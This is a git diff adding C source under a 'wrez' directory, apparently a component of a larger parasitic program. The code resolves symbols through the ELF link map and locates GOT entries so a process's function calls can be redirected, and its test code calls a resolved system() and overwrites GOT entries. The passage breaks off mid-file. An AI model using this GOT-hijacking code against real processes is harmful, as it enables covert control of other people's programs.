@@ -0,0 +1,6 @@
1#!/bin/sh
2
3gcc -Wall -fPIC -g -ggdb -c -o shared-library.o shared-library.c
4ld -Bshareable -o libshared-library.so shared-library.o
5gcc -L`pwd` -o shared-library-use shared-library-use.c -lshared-library
6
diff --git a/other/wrez/lookup-example/shared-library-use.c b/other/wrez/lookup-example/shared-library-use.c
new file mode 100644
index 0000000..f6f30b6
--- /dev/null
+++ b/other/wrez/lookup-example/shared-library-use.c
@@ -0,0 +1,16 @@
1
2#include <stdio.h>
3#include "shared-library.h"
4
5
6int
7main (int argc, char *argv[])
8{
9 void * cow;
10
11 printf ("before calling func\n");
12 cow = mysharedfunc (2000);
13 printf ("after calling func\n");
14}
15
16
diff --git a/other/wrez/lookup-example/shared-library.c b/other/wrez/lookup-example/shared-library.c
new file mode 100644
index 0000000..1f06409
--- /dev/null
+++ b/other/wrez/lookup-example/shared-library.c
@@ -0,0 +1,44 @@
1
2#include <stdio.h>
3#include <stdlib.h>
4
5
6int
7myshareddeepfunc (int cow);
8
9
10void *
11mysharedfunc (unsigned int size)
12{
13 void * foo;
14
15
16 fprintf (stderr, "mysharedfunc\n");
17
18 foo = malloc (size);
19 fprintf (stderr, " # called malloc\n");
20
21 free (foo);
22 fprintf (stderr, " # called free\n");
23
24 foo = malloc (10 * size);
25 fprintf (stderr, " # called malloc\n");
26
27 free (foo);
28 fprintf (stderr, " # called free\n");
29
30 /* example for deep call */
31 if (myshareddeepfunc (size / 2) == size)
32 return ((void *) 0);
33
34 return (foo);
35}
36
37
38int
39myshareddeepfunc (int cow)
40{
41 return (cow / 2);
42}
43
44
diff --git a/other/wrez/lookup-example/shared-library.h b/other/wrez/lookup-example/shared-library.h
new file mode 100644
index 0000000..72ee7be
--- /dev/null
+++ b/other/wrez/lookup-example/shared-library.h
@@ -0,0 +1,10 @@
1
2#ifndef SHARED_LIBRARY_H
3#define SHARED_LIBRARY_H
4
5void *
6mysharedfunc (unsigned int size);
7
8#endif
9
10
diff --git a/other/wrez/lookup-example/shared-library.o b/other/wrez/lookup-example/shared-library.o
new file mode 100644
index 0000000..b8fc17f
--- /dev/null
+++ b/other/wrez/lookup-example/shared-library.o
Binary files differ
diff --git a/other/wrez/lookup-pm.c b/other/wrez/lookup-pm.c
new file mode 100644
index 0000000..acbc69a
--- /dev/null
+++ b/other/wrez/lookup-pm.c
@@ -0,0 +1,522 @@
1/* written by some clever unnamed person
2 * lots of fixes and changes by someone else
3 */
4
5
6#include <elf.h>
7#include "lookup-pm.h"
8
9#ifdef TESTING
10#include <stdio.h>
11#include <stdlib.h>
12#include <stdio.h>
13#include <unistd.h>
14#include "lookup-example/shared-library.h"
15#else
16#include "common.c"
17#endif
18
19
20#define pfc(a) (pf (a) & 0xff)
21
22
23struct link_map {
24 Elf32_Addr l_addr;
25 char * l_name;
26 Elf32_Dyn * l_ld; /* .dynamic ptr */
27 struct link_map * l_next;
28 struct link_map * l_prev;
29};
30
31
32struct sym_helper {
33 Elf32_Dyn * dynsymtab; /* DT_SYMTAB symbol table */
34 Elf32_Dyn * dynstrtab; /* DT_STRTAB string table */
35 Elf32_Word * dynhash; /* DT_HASH hashtable */
36};
37
38
39static int strstr (peekmemfunc pf, unsigned char *s1_hay,
40 unsigned char *s2_needle);
41static inline int strmatch (peekmemfunc pf, unsigned char *s1,
42 unsigned char *s2, int s2_direct);
43static inline struct link_map *locate_link_map (peekmemfunc pf, void *mybase);
44static inline Elf32_Dyn * dynamic_address (peekmemfunc pf, void *mybase);
45static inline Elf32_Dyn * dynamic_findtype (peekmemfunc pf,
46 Elf32_Dyn *dyntab, Elf32_Sword dttype);
47static inline Elf32_Sym * symtab_findfunc (peekmemfunc pf,
48 Elf32_Sym *sym, char *name, char *strtab, Elf32_Word *hash);
49static inline unsigned long elf_hash (const char *name);
50void * symbol_resolve (peekmemfunc pf, void *mybase, char *sym_name);
51
52
53static int
54strstr (peekmemfunc pf, unsigned char *s1_hay, unsigned char *s2_needle)
55{
56 unsigned char * s1wh;
57 unsigned char * s2wn;
58
59 while (pfc (s1_hay) != 0) {
60 s1wh = s1_hay++;
61 s2wn = s2_needle;
62
63 while (pfc (s1wh++) == *s2wn++) {
64 if (*s2wn == 0)
65 return (0); /* found */
66 }
67 }
68
69 return (1); /* not found */
70}
71
72
73/* strmatch
74 *
75 * simple asciiz conform compare of strings at `s1' and `s2'. `pf' is the
76 * memory peek function that pulls the bytes from the addresses. `s1' is
77 * always chained over `pf', but for `s2' the `s2_direct' parameter controls
78 * the desired behavious: when s2_direct is != 0, then s2 is treated as direct
79 * pointer into current address space. when s2_direct is zero, it will be
80 * looked up just as s1 is.
81 *
82 * return 0 if strings are equal, including terminating NUL character
83 * return != 0 if strings differ
84 */
85
86static inline int
87strmatch (peekmemfunc pf, unsigned char *s1,
88 unsigned char *s2, int s2_direct)
89{
90 if (s2_direct == 0) {
91 while (pfc (s1++) == pfc (s2++))
92 if (pfc (s1) == 0 && pfc (s2) == 0)
93 return (0);
94 } else {
95 while (pfc (s1++) == *s2++)
96 if (pfc (s1) == 0 && *s2 == 0)
97 return (0);
98 }
99
100 return (1);
101}
102
103
104static inline struct link_map *
105locate_link_map (peekmemfunc pf, void *mybase)
106{
107 Elf32_Word * got = NULL;
108 Elf32_Dyn * dyn;
109 struct link_map * lm;
110
111
112 dyn = dynamic_address (pf, mybase);
113 if (dyn == NULL)
114 return (NULL);
115
116 dyn = dynamic_findtype (pf, dyn, DT_PLTGOT);
117 if (dyn == NULL)
118 return (NULL);
119
120 got = (Elf32_Word *) pf (&dyn->d_un.d_ptr);
121
122 /* platform dependant */
123#define GOT_LM_PTR 1
124 lm = (struct link_map *) pf (&got[GOT_LM_PTR]);
125 while (lm != NULL && pf (&lm->l_prev) != 0)
126 lm = (struct link_map *) pf (&lm->l_prev);
127
128 return (lm);
129}
130
131
132static inline Elf32_Dyn *
133dynamic_address (peekmemfunc pf, void *mybase)
134{
135 Elf32_Ehdr * e = (Elf32_Ehdr *) mybase;
136 int phw;
137 Elf32_Phdr * ph;
138
139
140 ph = (Elf32_Phdr *) ((char *) e + pf (&e->e_phoff));
141
142 for (phw = 0 ; phw < (pf (&e->e_phnum) & 0xffff) ; ++phw) {
143 if (pf (&ph[phw].p_type) == PT_DYNAMIC)
144 return ((Elf32_Dyn *) pf (&ph[phw].p_vaddr));
145 }
146
147 return (NULL);
148}
149
150
151static inline Elf32_Dyn *
152dynamic_findtype (peekmemfunc pf, Elf32_Dyn *dyntab, Elf32_Sword dttype)
153{
154 for ( ; pf (&dyntab->d_tag) != DT_NULL ; ++dyntab) {
155 if (pf (&dyntab->d_tag) == dttype) {
156 return (dyntab);
157
158 break;
159 }
160 }
161
162 return (NULL);
163}
164
165
166static inline Elf32_Sym *
167symtab_findfunc (peekmemfunc pf, Elf32_Sym *sym, char *name, char *strtab,
168 Elf32_Word *hash)
169{
170 unsigned long tidx; /* table index */
171 Elf32_Word * chain = &hash[2 + pf (&hash[0])];
172
173
174 for (tidx = pf (&hash[2 + (elf_hash (name) % pf (&hash[0]))]) ;
175 tidx != STN_UNDEF ; tidx = pf (&chain[tidx]))
176 {
177 if (ELF32_ST_TYPE (pfc (&sym[tidx].st_info)) != STT_FUNC)
178 continue;
179
180 if (strmatch (pf, &strtab[pf (&sym[tidx].st_name)], name, 1) == 0)
181 return (&sym[tidx]);
182 }
183
184 return (NULL);
185}
186
187
188
189static inline unsigned long
190elf_hash (const char *name)
191{
192 unsigned long h = 0,
193 g;
194
195
196 while (*name) {
197 h = (h << 4) + *name++;
198
199 if ((g = h & 0xf0000000))
200 h ^= g >> 24;
201 h &= ~g;
202 }
203
204 return (h);
205}
206
207
208static int
209symbol_helpstruct (peekmemfunc pf, void *mybase, Elf32_Dyn *dyno,
210 struct sym_helper *shlp)
211{
212 Elf32_Dyn * dyn;
213
214
215 shlp->dynsymtab = shlp->dynstrtab =
216 (void *) shlp->dynhash = (void *) NULL;
217
218 if (dyno != NULL)
219 dyn = dyno;
220 else
221 dyn = dynamic_address (pf, mybase);
222
223 if (dyn == NULL)
224 return (1);
225
226 shlp->dynsymtab = dynamic_findtype (pf, dyn, DT_SYMTAB);
227 shlp->dynstrtab = dynamic_findtype (pf, dyn, DT_STRTAB);
228 dyn = dynamic_findtype (pf, dyn, DT_HASH);
229 if (dyn != NULL)
230 shlp->dynhash = (Elf32_Word *) (pf (&dyn->d_un.d_ptr));
231
232 if (shlp->dynsymtab == NULL || shlp->dynstrtab == NULL ||
233 shlp->dynhash == NULL)
234 {
235 return (1);
236 }
237
238 return (0);
239}
240
241
242int
243lib_ismapped (peekmemfunc pf, void *mybase, char *str)
244{
245 struct link_map * lm;
246
247
248 for (lm = locate_link_map (pf, mybase) ; lm != NULL ;
249 lm = (struct link_map *) pf (&lm->l_next)) {
250 if (strstr (pf, (unsigned char *) pf (&lm->l_name), str) == 0)
251 return (1);
252 }
253
254 return (0);
255}
256
257
258void *
259symbol_resolve (peekmemfunc pf, void *mybase, char *sym_name)
260{
261 struct sym_helper shlp;
262 struct link_map * lm;
263 Elf32_Sym * psym;
264 Elf32_Dyn * dwalk;
265
266
267 lm = locate_link_map (pf, mybase);
268 if (lm == NULL)
269 return (NULL);
270
271 /* scan link maps for the symbol
272 */
273 for ( ; pf (&lm->l_next) != 0 ;
274 lm = (struct link_map *) pf (&lm->l_next))
275 {
276 /* compile necessary info for this link map
277 */
278 for (dwalk = (Elf32_Dyn *) pf (&lm->l_ld) ;
279 pf (&dwalk->d_tag) != DT_NULL ; ++dwalk)
280 {
281 switch (pf (&dwalk->d_tag)) {
282 case (DT_HASH):
283 shlp.dynhash = (Elf32_Word *)
284 (((char *) pf (&dwalk->d_un.d_ptr)) +
285 pf (&lm->l_addr));
286 break;
287 case (DT_STRTAB):
288 shlp.dynstrtab = dwalk;
289 break;
290 case (DT_SYMTAB):
291 shlp.dynsymtab = dwalk;
292 break;
293 default:
294 break;
295 }
296 }
297
298 psym = symtab_findfunc (pf,
299 (Elf32_Sym *) pf (&shlp.dynsymtab->d_un.d_ptr),
300 sym_name, (char *) pf (&shlp.dynstrtab->d_un.d_ptr),
301 shlp.dynhash);
302
303 if (psym != NULL)
304 return (((char *) pf (&lm->l_addr)) +
305 pf (&psym->st_value));
306 }
307
308 return (NULL);
309}
310
311
312int
313got_funcloc_array (peekmemfunc pf, void *mybase, char *name,
314 Elf32_Word *darr[], int darr_len, char *substr)
315{
316 int darr_cur = 0;
317 struct link_map * lm;
318
319
320 lm = locate_link_map (pf, mybase);
321
322 while (darr_cur < darr_len) {
323 /* no more link maps to process
324 */
325 if (lm == NULL)
326 return (darr_cur);
327
328#ifdef TESTING_DEBUG
329 printf ("%s @ 0x%08x\n", lm->l_name, (unsigned int) lm->l_ld);
330#endif
331 if (substr == NULL || strstr (pf,
332 (unsigned char *) pf (&lm->l_name), substr) == 0)
333 {
334 darr[darr_cur] = got_funcloc_dyn (pf,
335 (Elf32_Dyn *) pf (&lm->l_ld),
336 (Elf32_Addr) pf (&lm->l_addr), name);
337
338 if (darr[darr_cur] != NULL)
339 darr_cur += 1; /* good god, got a GOT entry */
340 }
341
342 /* next linkmap
343 */
344 lm = (struct link_map *) pf (&lm->l_next);
345 }
346
347 return (darr_cur);
348}
349
350
351Elf32_Word *
352got_funcloc (peekmemfunc pf, void *mybase, char *name)
353{
354 Elf32_Dyn * dyn = dynamic_address (pf, mybase);
355
356 return ((Elf32_Word *) got_funcloc_dyn (pf, dyn, 0, name));
357}
358
359
360Elf32_Word *
361got_funcloc_dyn (peekmemfunc pf, Elf32_Dyn *dyno, Elf32_Addr loadbase,
362 char *name)
363{
364 struct sym_helper shlp;
365 Elf32_Dyn * pltrel;
366 Elf32_Dyn * pltrelsz;
367
368 unsigned int rwk; /* relocation walker */
369 Elf32_Rel * relw;
370 Elf32_Sym * rsym;
371
372
373 if (symbol_helpstruct (pf, NULL, dyno, &shlp))
374 return (NULL);
375 shlp.dynhash = (Elf32_Word *) (((char *) shlp.dynhash) +
376 loadbase);
377
378 pltrel = dynamic_findtype (pf, dyno, DT_JMPREL);
379 pltrelsz = dynamic_findtype (pf, dyno, DT_PLTRELSZ);
380 if (pltrel == NULL || pltrelsz == NULL)
381 return (NULL);
382
383 /* walk all relocation entries for the .plt
384 */
385 relw = (Elf32_Rel *) (pf (&pltrel->d_un.d_ptr));
386 for (rwk = pf (&pltrelsz->d_un.d_val) / sizeof (Elf32_Rel) ;
387 rwk > 0 ; --rwk, relw += 1)
388 {
389 if (ELF32_R_TYPE (pf (&relw->r_info)) != R_386_JMP_SLOT)
390 continue;
391
392 if (ELF32_R_SYM (pf (&relw->r_info)) == STN_UNDEF)
393 continue;
394
395 rsym = (Elf32_Sym *) pf (&shlp.dynsymtab->d_un.d_ptr);
396 rsym = &rsym[ELF32_R_SYM (pf (&relw->r_info))];
397
398 if (strmatch (pf, &(((char *)
399 pf (&shlp.dynstrtab->d_un.d_ptr))[pf (&rsym->st_name)]),
400 name, 1) == 0)
401 {
402 /* rsym->st_value:
403 * == 0:
404 * got = loadbase + relw->r_offset
405 * != 0:
406 * func_entry = loadbase + rsym->st_value
407 * got = loadbase + relw->r_offset
408 */
409#ifdef TESTING_DEBUG
410 printf ("rsym: %s\n", &(((char *)
411 shlp.dynstrtab->d_un.d_ptr)[rsym->st_name]));
412#endif
413 return ((Elf32_Word *) (loadbase + pf (&relw->r_offset)));
414 }
415
416#ifdef TESTING_DEBUG_VERBOSE
417 printf ("rsym: %s\n", &(((char *)
418 shlp.dynstrtab->d_un.d_ptr)[rsym->st_name]));
419#endif
420 }
421
422 return (NULL);
423}
424
425
426unsigned int
427pf_copy (void *addr)
428{
429 unsigned int * uiptr = (unsigned int *) addr;
430
431 return (*uiptr);
432}
433
434
435#ifdef TESTING
436void *
437my_malloc (unsigned int size)
438{
439 fprintf (stderr, "my_malloc (%u)\n", size);
440
441 return (NULL);
442}
443
444
445int
446main (void)
447{
448 int n,
449 wk;
450
451 void * my_addr = (void *) 0x08048000;
452 char * sym_name = "system";
453 int (*systemf)(char *);
454
455 Elf32_Word * got_printf;
456 Elf32_Word * got_system;
457 Elf32_Word * got_malloc;
458
459 char * eargv[3] = { "/usr/bin/id", "id", NULL };
460 Elf32_Word * got_execve;
461 Elf32_Word * got_arr[16];
462
463
464#if 1
465 printf ("ismapped(\"libpcap\") = %d\n",
466 lib_ismapped (pf_copy, my_addr, "libpcap"));
467 printf ("ismapped(\"libc.so\") = %d\n",
468 lib_ismapped (pf_copy, my_addr, "libc.so"));
469 printf ("ismapped(\"libpam\") = %d\n",
470 lib_ismapped (pf_copy, my_addr, "libpam"));
471#endif
472
473 systemf = symbol_resolve (pf_copy, my_addr, sym_name);
474 if (systemf == NULL)
475 _exit (1);
476
477 (*systemf)("uname -a;id;\n");
478 system("echo real system;\n");
479
480#if 1
481 printf ("hello\n");
482
483 got_printf = got_funcloc (pf_copy, my_addr, "printf");
484 got_system = got_funcloc (pf_copy, my_addr, "system");
485 got_execve = got_funcloc (pf_copy, my_addr, "execve");
486
487 /* get execve GOT table locations
488 */
489 n = got_funcloc_array (pf_copy, my_addr, "myshareddeepfunc",
490 got_arr, 16, "shared-library");
491 printf ("got_funcloc_array (myshareddeepfunc) = %d\n", n);
492 for (wk = 0 ; wk < n ; ++wk)
493 printf (" got_arr[%d] = 0x%08x [0x%08x]\n", wk,
494 (unsigned int) got_arr[wk],
495 *got_arr[wk]);
496
497 got_malloc = got_arr[0];
498 *got_malloc = (Elf32_Word) my_malloc;
499
500 mysharedfunc (1911);
501#endif
502#if 0
503 /* replace execve, then try to call execve and then system
504 */
505 *got_execve = (Elf32_Word) my_execve;
506 execve (eargv[0], eargv, NULL);
507 system ("echo \"execve NOT hooked within system() call\"");
508
509 /* swap printf and system GOT entries, that is fun!
510 */
511 *got_printf ^= *got_system;
512 *got_system ^= *got_printf;
513 *got_printf ^= *got_system;
514
515 printf ("echo printf called, system executed;id;uname -a;\n");
516 system ("system called, printf executed\n");
517#endif
518
519 return (0);
520}
521#endif
522
diff --git a/other/wrez/lookup-pm.h b/other/wrez/lookup-pm.h
new file mode 100644
index 0000000..388b226
--- /dev/null
+++ b/other/wrez/lookup-pm.h
@@ -0,0 +1,85 @@
1
2#ifndef LOOKUP_H
3#define LOOKUP_H
4
5#include <elf.h>
6
7/* generic type definition to be used when the peek-mem feature is required
8 *
9 * on all functions, the `pf' parameter is the function that peeks into the
10 * memory at the given address, returning the 32 bit word at its place
11 */
12typedef unsigned int (* peekmemfunc)(void *);
13
14
15/* lib_ismapped
16 *
17 * walk through the list of all mapped libraries and perform a strstr
18 * substring search on the library name with the string `str' as needle.
19 *
20 * example: if (lib_ismapped (0x08048000, "libc.so")) {
21 *
22 * return 0 if the library is not mapped
23 * return 1 if the library is mapped
24 */
25
26int
27lib_ismapped (peekmemfunc pf, void *mybase, char *str);
28
29
30/* symbol_resolve
31 *
32 * try to resolve the function symbol with the name `sym_name' within the
33 * current executeable. the base address (first byte of .text, first byte of
34 * first PT_LOAD segment) is needed to locate the tables necessary for the
35 * lookup. it is normally 0x08048000 for a gcc compiled linux binary.
36 *
37 * return pointer to function named `sym_name' on success
38 * return NULL in case of failure (symbol was not found)
39 */
40
41void *
42symbol_resolve (peekmemfunc pf, void *mybase, char *sym_name);
43
44
45/* got_funcloc
46 *
47 * try to locate the function `name's got entry address. the executeable base
48 * must be given through `mybase'. this is where the elf header is supposed to
49 * be. the difference of this function to symbol_resolve is that you can only
50 * find functions used by the host program with this one, while symbol_resolve
51 * will locate any mapped one. also, this function returns a pointer to the
52 * GOT address, not the address itself. by changing the GOT entry you can
53 * redirect the execution of the host process. but be advised, that the code
54 * you are redirecting it to has to be mapped.
55 *
56 * return NULL on failure (function not found, insufficient dynamic info)
57 * this is often the case, when the host program does not use the function
58 * return pointer to GOT entry on success. [retval] is the address itself.
59 */
60
61Elf32_Word *
62got_funcloc (peekmemfunc pf, void *mybase, char *name);
63
64Elf32_Word *
65got_funcloc_dyn (peekmemfunc pf, Elf32_Dyn *dyno, Elf32_Addr loadbase,
66 char *name);
67
68
69/* got_funcloc_array
70 *
71 * build an array of GOT locations through all available link maps. the base
72 * of the current elf is needed (`mybase'). the name of the function symbol
73 * to be resolved is `name', and the array will be put at `darr', where no
74 * more than `darr_len' entries will be put. if `substr' is non-NULL, only
75 * libraries with a full pathname containing `substr' will be processed.
76 *
77 * return the number (< darr_len) of entires stored, 0 for none
78 */
79
80int
81got_funcloc_array (peekmemfunc pf, void *mybase, char *name,
82 Elf32_Word *darr[], int darr_len, char *substr);
83
84#endif
85
diff --git a/other/wrez/lookup.c b/other/wrez/lookup.c
new file mode 100644
index 0000000..7389525
--- /dev/null
+++ b/other/wrez/lookup.c
@@ -0,0 +1,485 @@
1/* written by some clever unnamed person
2 * lots of fixes and changes by someone else
3 */
4
5
6#include <elf.h>
7#include "lookup.h"
8
9#ifdef TESTING
10#include <stdio.h>
11#include <stdlib.h>
12#include <stdio.h>
13#include <unistd.h>
14#include "lookup-example/shared-library.h"
15#else
16#include "common.c"
17#endif
18
19
20struct link_map {
21 Elf32_Addr l_addr;
22 char * l_name;
23 Elf32_Dyn * l_ld; /* .dynamic ptr */
24 struct link_map * l_next;
25 struct link_map * l_prev;
26};
27
28
29struct sym_helper {
30 Elf32_Dyn * dynsymtab; /* DT_SYMTAB symbol table */
31 Elf32_Dyn * dynstrtab; /* DT_STRTAB string table */
32 Elf32_Word * dynhash; /* DT_HASH hashtable */
33};
34
35
36static int strstr (unsigned char *s1_hay, unsigned char *s2_needle);
37static int strmatch (char *s1, char *s2);
38static struct link_map * locate_link_map (void *mybase);
39static inline unsigned long elf_hash (const char *name);
40
41static Elf32_Dyn * dynamic_address (void *mybase);
42static Elf32_Dyn * dynamic_findtype (Elf32_Dyn *dyntab,
43 Elf32_Sword dttype);
44static int symbol_helpstruct (void *mybase, Elf32_Dyn *dyno,
45 struct sym_helper *shlp);
46
47static Elf32_Sym * symtab_findfunc (Elf32_Sym *symstart, char *name,
48 char *strtab, Elf32_Word *hash);
49
50
51/* naive, but small
52 */
53static int
54strstr (unsigned char *s1_hay, unsigned char *s2_needle)
55{
56 unsigned char * s1wh;
57 unsigned char * s2wn;
58
59 while (*s1_hay != 0) {
60 s1wh = s1_hay++;
61 s2wn = s2_needle;
62
63 while (*s1wh++ == *s2wn++) {
64 if (*s2wn == 0)
65 return (0); /* found */
66 }
67 }
68
69 return (1); /* not found */
70}
71
72
73static int
74strmatch (char *s1, char *s2)
75{
76 while (*s1++ == *s2++)
77 if (*s1 == 0 && *s2 == 0)
78 return (0);
79
80 return (1);
81}
82
83
84static struct link_map *
85locate_link_map (void *mybase)
86{
87 Elf32_Word * got = NULL;
88 Elf32_Dyn * dyn;
89 struct link_map * lm;
90
91
92 dyn = dynamic_address (mybase);
93 dyn = dynamic_findtype (dyn, DT_PLTGOT);
94 if (dyn == NULL)
95 return (NULL);
96
97 got = (Elf32_Word *) dyn->d_un.d_ptr;
98
99 /* platform dependant */
100#define GOT_LM_PTR 1
101 lm = (struct link_map *) got[GOT_LM_PTR];
102 while (lm != NULL && lm->l_prev != NULL)
103 lm = lm->l_prev;
104
105 return (lm);
106}
107
108
109static Elf32_Dyn *
110dynamic_address (void *mybase)
111{
112 Elf32_Ehdr * e = (Elf32_Ehdr *) mybase;
113 int phw;
114 Elf32_Phdr * ph;
115
116
117 ph = (Elf32_Phdr *) ((char *) e + e->e_phoff);
118
119 for (phw = 0 ; phw < e->e_phnum ; ++phw) {
120 if (ph[phw].p_type == PT_DYNAMIC)
121 return ((Elf32_Dyn *) ph[phw].p_vaddr);
122 }
123
124 return (NULL);
125}
126
127
128static Elf32_Dyn *
129dynamic_findtype (Elf32_Dyn *dyntab, Elf32_Sword dttype)
130{
131 for ( ; dyntab->d_tag != DT_NULL ; ++dyntab) {
132 if (dyntab->d_tag == dttype) {
133 return (dyntab);
134
135 break;
136 }
137 }
138
139 return (NULL);
140}
141
142
143static Elf32_Sym *
144symtab_findfunc (Elf32_Sym *sym, char *name, char *strtab,
145 Elf32_Word *hash)
146{
147 unsigned long tidx; /* table index */
148 Elf32_Word * chain = &hash[2 + hash[0]];
149
150
151 for (tidx = hash[2 + (elf_hash (name) % hash[0])] ;
152 tidx != STN_UNDEF ; tidx = chain[tidx])
153 {
154 if (ELF32_ST_TYPE (sym[tidx].st_info) != STT_FUNC)
155 continue;
156
157 if (strmatch (&strtab[sym[tidx].st_name], name) == 0)
158 return (&sym[tidx]);
159 }
160
161 return (NULL);
162}
163
164
165
166static inline unsigned long
167elf_hash (const char *name)
168{
169 unsigned long h = 0,
170 g;
171
172
173 while (*name) {
174 h = (h << 4) + *name++;
175
176 if ((g = h & 0xf0000000))
177 h ^= g >> 24;
178 h &= ~g;
179 }
180
181 return (h);
182}
183
184
185static int
186symbol_helpstruct (void *mybase, Elf32_Dyn *dyno, struct sym_helper *shlp)
187{
188 Elf32_Dyn * dyn;
189
190
191 shlp->dynsymtab = shlp->dynstrtab =
192 (void *) shlp->dynhash = (void *) NULL;
193
194 if (dyno != NULL)
195 dyn = dyno;
196 else
197 dyn = dynamic_address (mybase);
198
199 if (dyn == NULL)
200 return (1);
201
202 shlp->dynsymtab = dynamic_findtype (dyn, DT_SYMTAB);
203 shlp->dynstrtab = dynamic_findtype (dyn, DT_STRTAB);
204 dyn = dynamic_findtype (dyn, DT_HASH);
205 if (dyn != NULL)
206 shlp->dynhash = (Elf32_Word *) dyn->d_un.d_ptr;
207
208 if (shlp->dynsymtab == NULL || shlp->dynstrtab == NULL ||
209 shlp->dynhash == NULL)
210 {
211 return (1);
212 }
213
214 return (0);
215}
216
217
218/* public functions
219 */
220
221int
222lib_ismapped (void *mybase, char *str)
223{
224 struct link_map * lm;
225
226
227 for (lm = locate_link_map (mybase) ; lm != NULL ; lm = lm->l_next) {
228 if (strstr (lm->l_name, str) == 0)
229 return (1);
230 }
231
232 return (0);
233}
234
235
236void *
237symbol_resolve (void *mybase, char *sym_name)
238{
239 struct sym_helper shlp;
240 struct link_map * lm;
241 Elf32_Sym * psym;
242 Elf32_Dyn * dwalk;
243
244
245 lm = locate_link_map (mybase);
246 if (lm == NULL)
247 return (NULL);
248
249 /* scan link maps for the symbol
250 */
251 for ( ; lm->l_next != NULL ; lm = lm->l_next) {
252
253 /* compile necessary info for this link map
254 */
255 for (dwalk = lm->l_ld ; dwalk->d_tag != DT_NULL ; ++dwalk) {
256 switch (dwalk->d_tag) {
257 case (DT_HASH):
258 shlp.dynhash = (Elf32_Word *)
259 (((char *) dwalk->d_un.d_ptr) +
260 lm->l_addr);
261 break;
262 case (DT_STRTAB):
263 shlp.dynstrtab = dwalk;
264 break;
265 case (DT_SYMTAB):
266 shlp.dynsymtab = dwalk;
267 break;
268 default:
269 break;
270 }
271 }
272
273 psym = symtab_findfunc ((Elf32_Sym *) shlp.dynsymtab->d_un.d_ptr,
274 sym_name, (char *) shlp.dynstrtab->d_un.d_ptr,
275 shlp.dynhash);
276
277 if (psym != NULL)
278 return (((char *) lm->l_addr) + psym->st_value);
279 }
280
281 return (NULL);
282}
283
284
285int
286got_funcloc_array (void *mybase, char *name, Elf32_Word *darr[], int darr_len,
287 char *substr)
288{
289 int darr_cur = 0;
290 struct link_map * lm;
291
292
293 lm = locate_link_map (mybase);
294
295 while (darr_cur < darr_len) {
296 /* no more link maps to process
297 */
298 if (lm == NULL)
299 return (darr_cur);
300
301#ifdef TESTING_DEBUG
302 printf ("%s @ 0x%08x\n", lm->l_name, (unsigned int) lm->l_ld);
303#endif
304 if (substr == NULL || strstr (lm->l_name, substr) == 0) {
305 darr[darr_cur] = got_funcloc_dyn (lm->l_ld, lm->l_addr,
306 name);
307
308 if (darr[darr_cur] != NULL)
309 darr_cur += 1; /* good god, got a GOT entry */
310 }
311
312 /* next linkmap
313 */
314 lm = lm->l_next;
315 }
316
317 return (darr_cur);
318}
319
320
321Elf32_Word *
322got_funcloc (void *mybase, char *name)
323{
324 Elf32_Dyn * dyn = dynamic_address (mybase);
325
326 return (got_funcloc_dyn (dyn, 0, name));
327}
328
329
330Elf32_Word *
331got_funcloc_dyn (Elf32_Dyn *dyno, Elf32_Addr loadbase, char *name)
332{
333 struct sym_helper shlp;
334 Elf32_Dyn * pltrel;
335 Elf32_Dyn * pltrelsz;
336
337 unsigned int rwk; /* relocation walker */
338 Elf32_Rel * relw;
339 Elf32_Sym * rsym;
340
341
342 if (symbol_helpstruct (NULL, dyno, &shlp))
343 return (NULL);
344 shlp.dynhash = (Elf32_Word *) (((char *) shlp.dynhash) +
345 loadbase);
346
347 pltrel = dynamic_findtype (dyno, DT_JMPREL);
348 pltrelsz = dynamic_findtype (dyno, DT_PLTRELSZ);
349 if (pltrel == NULL || pltrelsz == NULL)
350 return (NULL);
351
352 /* walk all relocation entries for the .plt
353 */
354 relw = (Elf32_Rel *) pltrel->d_un.d_ptr;
355 for (rwk = pltrelsz->d_un.d_val / sizeof (Elf32_Rel) ;
356 rwk > 0 ; --rwk, relw += 1)
357 {
358 if (ELF32_R_TYPE (relw->r_info) != R_386_JMP_SLOT)
359 continue;
360
361 if (ELF32_R_SYM (relw->r_info) == STN_UNDEF)
362 continue;
363
364 rsym = (Elf32_Sym *) shlp.dynsymtab->d_un.d_ptr;
365 rsym = &rsym[ELF32_R_SYM (relw->r_info)];
366
367 if (strmatch (name,
368 &(((char *) shlp.dynstrtab->d_un.d_ptr)[rsym->st_name])) == 0)
369 {
370 /* rsym->st_value:
371 * == 0:
372 * got = loadbase + relw->r_offset
373 * != 0:
374 * func_entry = loadbase + rsym->st_value
375 * got = loadbase + relw->r_offset
376 */
377#ifdef TESTING_DEBUG
378 printf ("rsym: %s\n", &(((char *)
379 shlp.dynstrtab->d_un.d_ptr)[rsym->st_name]));
380#endif
381 return ((Elf32_Word *) (loadbase + relw->r_offset));
382 }
383
384#ifdef TESTING_DEBUG_VERBOSE
385 printf ("rsym: %s\n", &(((char *) shlp.dynstrtab->d_un.d_ptr)[rsym->st_name]));
386#endif
387 }
388
389 return (NULL);
390}
391
392
393#ifdef TESTING
394int
395my_execve(const char *filename, char *const argv [], char *const envp[])
396{
397 printf ("execve IS hooked within execve() call\n");
398
399 return (0);
400}
401
402
403void *
404my_malloc (unsigned int size)
405{
406 fprintf (stderr, "my_malloc (%u)\n", size);
407
408 return (NULL);
409}
410
411
412
413int
414main (void)
415{
416 int n,
417 wk;
418
419 void * my_addr = (void *) 0x08048000;
420 char * sym_name = "system";
421 int (*systemf)(char *);
422
423 Elf32_Word * got_printf;
424 Elf32_Word * got_system;
425 Elf32_Word * got_malloc;
426
427 char * eargv[3] = { "/usr/bin/id", "id", NULL };
428 Elf32_Word * got_execve;
429 Elf32_Word * got_arr[16];
430
431
432 printf ("ismapped(\"libpcap\") = %d\n", lib_ismapped (my_addr,
433 "libpcap"));
434 printf ("ismapped(\"libc.so\") = %d\n", lib_ismapped (my_addr,
435 "libc.so"));
436 printf ("ismapped(\"libpam\") = %d\n", lib_ismapped (my_addr,
437 "libpam"));
438
439 systemf = symbol_resolve (my_addr, sym_name);
440 if (systemf == NULL)
441 _exit (1);
442
443 (*systemf)("uname -a;id;\n");
444 system("echo real system;\n");
445
446 printf ("hello\n");
447
448 got_printf = got_funcloc (my_addr, "printf");
449 got_system = got_funcloc (my_addr, "system");
450 got_execve = got_funcloc (my_addr, "execve");
451
452 /* get execve GOT table locations
453 */
454 n = got_funcloc_array (my_addr, "myshareddeepfunc", got_arr, 16, "shared-library");
455 printf ("got_funcloc_array (myshareddeepfunc) = %d\n", n);
456 for (wk = 0 ; wk < n ; ++wk)
457 printf (" got_arr[%d] = 0x%08x [0x%08x]\n", wk,
